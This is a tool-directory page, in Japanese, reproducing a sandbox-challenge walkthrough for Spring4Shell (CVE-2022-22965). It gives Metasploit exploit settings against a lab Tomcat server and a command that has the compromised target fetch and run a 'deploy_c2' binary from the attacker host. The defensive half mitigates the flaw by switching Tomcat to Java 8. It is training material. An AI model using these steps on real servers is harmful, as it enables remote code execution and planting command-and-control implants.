Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Sandbox-Challenge-Spring4Shell-CVE-2022-22965- — CVE-2022-22965 (Spring4Shell) を Metasploit で悪用し、C2 リスナーを展開し、Tomcat サーバー上で Java 8 にダウングレードして脆弱性を緩和するステップバイステップのウォークスルー。 | Kitploit
ツール/GitHubGitHub/felisha-elmer/sandbox-challenge-spring4shell-cve-2022-22965-
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテストコマンド&コントロール学習と教育レッドチーミングラボと実践

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubfelisha-elmer/sandbox-challenge-spring4shell-cve-2022-22965-

Sandbox-Challenge-Spring4Shell-CVE-2022-22965-

CVE-2022-22965 (Spring4Shell) を Metasploit で悪用し、C2 リスナーを展開し、Tomcat サーバー上で Java 8 にダウングレードして脆弱性を緩和するステップバイステップのウォークスルー。

リポジトリを見る
3ヶ月前未レビュー

Spring4Shell 脅威サンドボックス (CVE-2022-22965)

概要

このウォークスルーは、CVE-2022-22965(通称 Spring4Shell)に焦点を当てたサンドボックスチャレンジの完了を記録したものです。これは、特定のバージョンのSpring Javaフレームワークに影響を与える重大な(CVSS 9.8/10)リモートコード実行脆弱性です。このチャレンジでは、脆弱性の攻撃(レッドチーム)と防御(ブルーチーム)の両方の視点を扱います。

注意: このウォークスルー内のコマンドとファイルパスは、この試行時に使用された特定の環境を反映しています。お使いの環境は異なる可能性がありますので、パス、IPアドレス、ファイル名は適宜調整してください。


環境

マシンIPアドレス役割
Security-Desk (Kali Linux)172.16.200.12攻撃兼作業マシン
Red Target (Linux)172.16.100.90標的(攻撃対象)
Blue Target (Linux)172.16.100.100堅牢化対象

認証情報: playerone / password123


レッドチーム目標: Red Target への C2 リスナー展開

ステップ1 — ターゲットの特定

チャレンジパネルの「Network Map」タブを確認し、Red Target の IP (172.16.100.90) を確認しました。curl を使用してポート80で動作しているWebアプリケーションを調査しました:

root@kitploit:~
curl http://172.16.100.90

出力結果から、Apache Tomcat 9.0.59 が /dasmsp へのリダイレクトで動作していることがわかりました。ページソースを確認し、/dasmsp/contact に POST フォームのエンドポイントがあることを特定しました。

ステップ2 — Metasploit の起動とエクスプロイトの設定

root@kitploit:~
msfconsole
root@kitploit:~
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run

エクスプロイトは正常に JSP シェルを生成し、クラスローダーを変更し、ログファイルをフラッシュし、Red Target 上でコマンドシェルセッションを開きました。

ステップ3 — 対話型シェルの取得

セッションが開いた後、shell と入力して対話型シェルにアップグレードしました。Metasploit はターゲット上で /usr/bin/script を見つけ、それを使用して tomcat ユーザーとして対話型シェルを起動しました。

ステップ4 — deploy_c2 の転送と実行

deploy_c2 バイナリは Red Target ではなく Security-Desk にありました。Security-Desk 上で Python3 HTTP サーバーをホストして提供しました:

root@kitploit:~
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080

Red Target のシェルセッション内からダウンロードして実行しました:

root@kitploit:~
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2

出力結果で確認: Done! — C2 リスナーが Red Target に正常に展開されました。


ブルーチーム目標: Blue Target 上で CVE-2022-22965 を緩和(Java 8 へのダウングレード)

ステップ1 — Blue Target に SSH 接続

Security-Desk のターミナルから:

root@kitploit:~
ssh [email protected]

パスワード: password123

ステップ2 — Java 8 パッケージを Blue Target に転送

Java 8 の .deb パッケージは Security-Desk の /home/playerone/Desktop/Resources/ にありました。Security-Desk ターミナルから SCP を使用して Blue Target に転送しました:

root@kitploit:~
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/

転送されたパッケージ:

  • adoptium-ca-certificates_1.0.2-1_all.deb
  • fonts-dejavu_2.37-6_all.deb
  • p11-kit-modules_0.24.1-2_amd64.deb
  • p11-kit_0.24.1-2_amd64.deb
  • temurin-8-jdk_8.0.402.0.0+6_amd64.deb

ステップ3 — Java 8 パッケージのインストール

Blue Target の SSH セッション上:

root@kitploit:~
sudo dpkg -i /tmp/*.deb

ステップ4 — Java 8 をデフォルトに設定(既知の問題の回避策)

既知のチャレンジの問題により、手動で Java 8 をデフォルトに設定しないとチェックが正しく認識されません:

root@kitploit:~
sudo update-alternatives --config java

オプション 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java を選択しました。

ステップ5 — Tomcat サービスが Java 8 を使用するように更新

Tomcat サービスのユニットファイルを確認しました:

root@kitploit:~
cat /etc/systemd/system/tomcat.service

ファイルを編集して JAVA_HOME 環境変数を更新しました:

root@kitploit:~
sudo nano /etc/systemd/system/tomcat.service

変更前:

root@kitploit:~
Environment="JAVA_HOME=/usr"

変更後:

root@kitploit:~
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"

ステップ6 — Tomcat のリロードと再起動

root@kitploit:~
sudo systemctl daemon-reload
sudo systemctl restart tomcat

チャレンジパネルで「Blue Target での CVE-2022-22965 緩和」チェックが緑色に変わりました。


使用ツール

  • Metasploit Framework (spring_framework_rce_spring4shell module)
  • curl
  • Python3 HTTP Server
  • SSH / SCP
  • dpkg
  • systemctl
  • update-alternatives
  • nano
ツールをダウンロード